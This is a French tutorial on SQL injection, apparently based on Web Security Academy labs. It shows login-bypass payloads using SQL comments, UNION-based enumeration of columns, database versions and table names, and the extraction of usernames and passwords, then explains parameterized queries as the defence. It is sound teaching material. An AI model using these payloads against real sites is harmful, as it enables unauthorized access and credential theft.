SQL Injection

Disclaimer

Table des matières

• Disclaimer
• Table des matières
• Pourquoi cette attaque ?
• BurpSuite
• SQL injection
  • Principe de base
    • Requete envoyé par l'utilisateur pour s'authentifier
    • Interprétation par le serveur
    • Attaquer cette mécanique
    • Interprétation de la requête par le serveur
  • UNION attack
    • Spécificités d'une UNION
    • Trouver le nombre de colonnes
    • Trouver le type de données envoyées
    • 1 seule colonne
    • Versions
    • Avoir le nom des tables
  • CheatSheet
• Défense

Pourquoi cette attaque ?

Tout site web, sauf sites statiques, héberge une base de données SQL. Donc tous les sites web sont des potentielles victimes d'attaques par injection de SQL.

Graphique provenant du même article

BurpSuite

BurpSuite est un logiciel permettant de capturer des requêtes effectuées sur un navigateur internet, de les modifier, de les renvoyer régulièrement. C'est un outil très utile, voir nécessaire pour faire de l'analyse d'API ou pour faire des attaques par injection.

Le site web de BurpSuite propose un service appelé WebSecurityAcademy qui permet de tester différentes attaques, l'entièreté des exemples de ce cours provient de ce site :

WebSecurityAcademy - SQL injection

SQL injection

Principe de base

Par exemple lors d'une connexion, un utilisateur rentre son nom d'utilisateur et son mot de passe. Puis le serveur authentifie l'utilisateur en vérifiant que les données saisies sont bien présentes dans la base de donnée des utilisateurs :

Requete envoyé par l'utilisateur pour s'authentifier

fetch("https://nomDuServeur/login",
{
    method: "POST",                     //permet d'envoyer des données au serveur
    body: JSON.stringify(
      {
        username : "mon_username",      //permet d'envoyer les informations au serveur
        password : "mon_password"
      }
    )
})

Interprétation par le serveur

SELECT * FROM users WHERE username = ' + requete.username + ' AND password = ' + requete.password + '

ce qui donne ici :

SELECT * FROM users WHERE username = 'mon_username' AND password = 'mon_password'

Attaquer cette mécanique

L'objectif est de ne pas avoir à passer l'étape de vérification du mot de passe.

Pour ça, on va utiliser une mécanique assez simple en programmation : les commentaires.

Donc si on termine le username envoyé dans la requête par un comentaire, il n'y aura pas de vérificaton du password.

fetch("https://nomDuServeur/login",
{
    method: "POST",
    body: JSON.stringify(
      {
        username : "administrateur%27--",
        password : "n'importeQuoi"
      }
    )
})

Interprétation de la requête par le serveur

SELECT * FROM users WHERE username = 'administarteur'--' AND password = 'n\'importeQuoi'

UNION Attack

C'est sympa de pouvoir se connecter à la place de l'administrateur, mais si l'administrateur ne s'appelle pas administrateur, comment est ce qu'on peut faire pour quand même se connecter ?

Jusque là, on était limité par le fait de devoir faire des recherches dans la table par défaut de la requête : il est impossible de modifier la requête avant un WHERE qui se situe forcément après le FROM. On veut pouvoir effectuer nos propre requêtes dans d'autres table.

Pour cela on va utiliser le mot clé SQL UNION qui va réaliser la concaténation de 2 recherches dans la base de donnée : celle par défaut et celle injectée.

Spécificités d'une UNION

Il est pas possible de simplement mettre ce qu'on veut dans la 2e recherche de l'UNION, il y a certaines contraintes :

Trouver le nombre de colonnes

Premièrement, il faut trouver le nombre de valeur de retour de la première recherche. Pour cela il y a 2 possibilités :

• Ordonner la première recherche selon la nième colonne, grace au mot clé ORDER BY n, si il y a une errreur c'est que la colonne n n'existe pas.
• Faire une 2e recherche (avec une UNION) en envoyant simplement des NULL, l'objectif étant de trouver combien on peut mettre de NULL sans avoir d'erreur :

UNION SELECT NULL,NULL

UNION SELECT NULL,NULL FROM dual

Trouver le type de données envoyées

Maintenant qu'on a le nombre de colonnes, il faut tester un par un les paramètres pour savoir quel est le type du paramètre :

On envoie UNION 'string',NULL,NULL (si 3 colonnes), puis UNION 0,NULL,NULL, jusqu'à trouver le type de la première colonne et ainsi de suite.

La remarque faite sur Oracle dans la précédente partie est toujours applicable ici.

1 seule colonne

Si un il y a uniquement un champ string disponible, et qu'on veut afficher plusieurs sorties en même temps (par exemple le username et le password d'un utilisateur), on peut utiliser la fonction CONCAT de SQL:

SELECT CONCAT(username,'/',password) from users

Versions

Il peut être interressant de connaitre la version de la base de donnée pour effectuer des attaques ciblées sur la version. Les requêtes dépendent de la base de donnée :

• Oracle : SELECT banner FROM v$version
• Microsoft : SELECT @@version
• PostgreSQL : SELECT version()
• MySQL : SELECT @@version

Si besoin @ = %40 et $ = %24

Avoir le nom des tables

Pour effectuer nos recherche, il faut avoir le nom des tables et de colonnes, pour cela on peut effectuer, dans un requete UNION, les recherches suivantes :

Non Oracle

SELECT TABLE_NAME FROM information_schema.tables
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'TABLE-NAME-HERE'

Oracle

SELECT TABLE_NAME FROM all_tables
SELECT COLUMN_NAME FROM all_tab_columns WHERE TABLE_NAME = 'TABLE-NAME-HERE'

CheatSheet

Défense

Il est possible de paramétrer une requête SQL, c'est-à-dire transformer une requête en une fonction prenant en paramètre les valeurs de la requête.

Au lieu d'executer :

String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

On crée un statement sans les valeurs, puis on ajoute les paramètres :

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

Voici les 3 liens où on peut retrouver des exemples de code en fonction des languages utilisés :

• hacksplaining
• PortSwigger
• OWASP